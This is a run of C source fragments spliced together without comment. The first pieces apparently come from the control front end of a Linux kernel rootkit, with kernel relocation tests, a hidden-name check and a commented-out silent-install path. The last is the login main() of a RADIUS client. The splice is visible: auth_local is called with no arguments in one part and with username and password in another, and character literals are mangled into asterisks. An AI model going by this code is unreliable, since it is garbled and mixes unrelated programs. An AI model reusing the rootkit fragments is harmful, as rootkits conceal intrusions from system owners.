/* print all options + brief description */ static int usage(char *s) { opt *o; int max, i; char buf[512]; char *p = buf; auth_local(); *p = 0; for (o = opts, max = 0; o->opt; o++) { if ((i = slen(o->syntax)) > max) max = i; *p++ = o->opt; *p++ = '|'; } *p = 0; eprintf("use: %s [%s] <arg1> [argN]\n", s, buf); memset(buf, '.', sizeof(buf)); for (o = opts; o->opt; o++) eprintf("%c %s%.*s%s\n", o->opt, o->syntax ? o->syntax : ".", (int) (2+max-slen(o->syntax)), buf, o->desc); eprintf( "\nin <> is requiered options, [] are optional\n" "see doc/MANUAL for commands reference\n"); return 1; }
/* analyze args and take the proper action */ int main(int argc, char *argv[], char *envp[]) { opt *o; char c; if (!argc) return 0; argv0 = argv[0]; if (argc == 2) { if (!strcmp(argv[1], "reloctest")) { printf("%d\n", reloctest((void *) kernel_start, (void *) kernel_end)); return 0; } if (!strcmp(argv[1], "showident")) { printf("ident for this copy is: %s\n", IDENT); return 0; } } setbuf(stdout, NULL); setbuf(stderr, NULL); if (sk_config(argv[0])) return 1; if (check_kernel_version()) return 1; /* l = strlen(argv[0]); if ((l >= strlen(cfg.hidestr)) && (!strcmp((argv[0] + l - strlen(cfg.hidestr)), cfg.hidestr))) return do_install_silent(0, NULL); */ if (argc <= 1) return usage(argv[0]); if (strlen(argv[1]) != 1) return usage(argv[0]); c = argv[1][0]; for (o = opts; o->opt; o++) if ((c == o->opt) && ((argc - 2) <= (o->args + o->optargs)) && ((argc - 2) >= (o->args))) { switch (o->auth) { case AUTH_GLOBAL: auth_global(); break; case AUTH_LOCAL: auth_local(); break; default:; } return o->handler(argc - 2, &argv[2]); } return usage(argv[0]); }
static int check_kernel_version(void) { struct utsname n; if (uname(&n)) { auth_local(); eprintf("Kernel check error: uname() failed"); return 1; } /* must be at least 2.2.x */ if ((n.release[0] < '2') || (n.release[0] == '2' && n.release[2] < '2')) { auth_local(); eprintf("Kernel check error: %s not supported. (yet ?)\n", n.release); return 1; } return 0; }
int main (int argc, char **argv) { char username[128]; char passwd[AUTH_PASS_LEN + 1]; int tries, remaining, c; UINT4 client_port; void (*login_func)(char *); FILE *fp; char buf[4096]; char tty[1024], *p; int noissue = 0; int maxtries = 0; char *ttyn = NULL; char *path_radiusclient_conf = RC_CONFIG_FILE; extern char *optarg; extern int optind; pname = (pname = strrchr(argv[0],'/'))?pname+1:argv[0]; rc_openlog(pname); while ((c = getopt(argc,argv,"f:m:i:nhV")) > 0) { switch(c) { case 'f': path_radiusclient_conf = optarg; break; case 'i': ttyn = optarg; break; case 'n': noissue = 1; break; case 'm': maxtries = atoi(optarg); break; case 'V': version(); break; case 'h': usage(); break; default: exit(ERROR_RC); break; } } if (rc_read_config(path_radiusclient_conf) != 0) exit(ERROR_RC); if (rc_read_dictionary(rc_conf_str("dictionary")) != 0) exit (ERROR_RC); if (rc_read_mapfile(rc_conf_str("mapfile")) != 0) exit (ERROR_RC); if (ttyn != NULL) { client_port = rc_map2id(ttyn); if ((p = strrchr(ttyn, '/')) == NULL) strncpy(tty, ttyn, sizeof(tty)); else strncpy(tty, p+1, sizeof(tty)); } else { ttyn = ttyname(0); if (ttyn) { if ((p = strrchr(ttyn, '/')) == NULL) strncpy(tty, ttyn, sizeof(tty)); else strncpy(tty, p+1, sizeof(tty)); client_port = rc_map2id(ttyn); } else { *tty = '\0'; client_port = 0; } } #ifdef SETVBUF_REVERSED setvbuf(stdout, _IONBF, NULL, 0); #else setvbuf(stdout, NULL, _IONBF, 0); #endif if ((argc - optind) == 1) { strncpy(username,argv[optind], sizeof(username)); } else { *username = '******'; if (!noissue) { if (rc_conf_str("issue") && ((fp = fopen(rc_conf_str("issue"), "r")) != NULL)) { while (fgets(buf, sizeof(buf), fp) != NULL) fputs(subst_placeholders(buf, tty), stdout); fflush(stdout); fclose(fp); } else { fputs(subst_placeholders(SC_DEFAULT_ISSUE, tty), stdout); fflush(stdout); } } } if ((env = rc_new_env(ENV_SIZE)) == NULL) { rc_log(LOG_CRIT, "rc_new_env: FATAL: out of memory"); abort(); } #ifdef SECURITY_DISABLED if (rc_import_env(env,environ) < 0) { rc_log(LOG_CRIT, "rc_import_env: FATAL: not enough space for environment (increase ENV_SIZE)"); abort(); } #else rc_add_env(env, "IFS", " "); rc_add_env(env, "PATH", RC_SECURE_PATH); #endif signal(SIGALRM, alarm_handler); remaining = rc_conf_int("login_timeout"); if (!maxtries) maxtries = rc_conf_int("login_tries"); tries = 1; while (tries <= maxtries) { alarm(remaining); while (!*username) { p = rc_getstr (SC_LOGIN, 1); if (p) strncpy(username, p, sizeof(username)); else exit (ERROR_RC); } p = rc_getstr(SC_PASSWORD,0); if (p) strncpy (passwd, p, sizeof (passwd)); else exit (ERROR_RC); remaining = alarm(0); login_func = NULL; if (rc_conf_int("auth_order") & AUTH_LOCAL_FST) { login_func = auth_local(username, passwd); if (!login_func) if (rc_conf_int("auth_order") & AUTH_RADIUS_SND) login_func = auth_radius(client_port, username, passwd); } else { login_func = auth_radius(client_port, username, passwd); if (!login_func) if (rc_conf_int("auth_order") & AUTH_LOCAL_SND) login_func = auth_local(username, passwd); } memset(passwd, '\0', sizeof(passwd)); if (login_func != NULL) if (login_allowed(tty)) { (*login_func)(username); } else { sleep(1); exit (ERROR_RC); } *username = '******'; if ((++tries) <= maxtries) { alarm(remaining); sleep(tries * 2); remaining = alarm(0); } } fprintf(stderr, SC_EXCEEDED); sleep(1); exit (ERROR_RC); }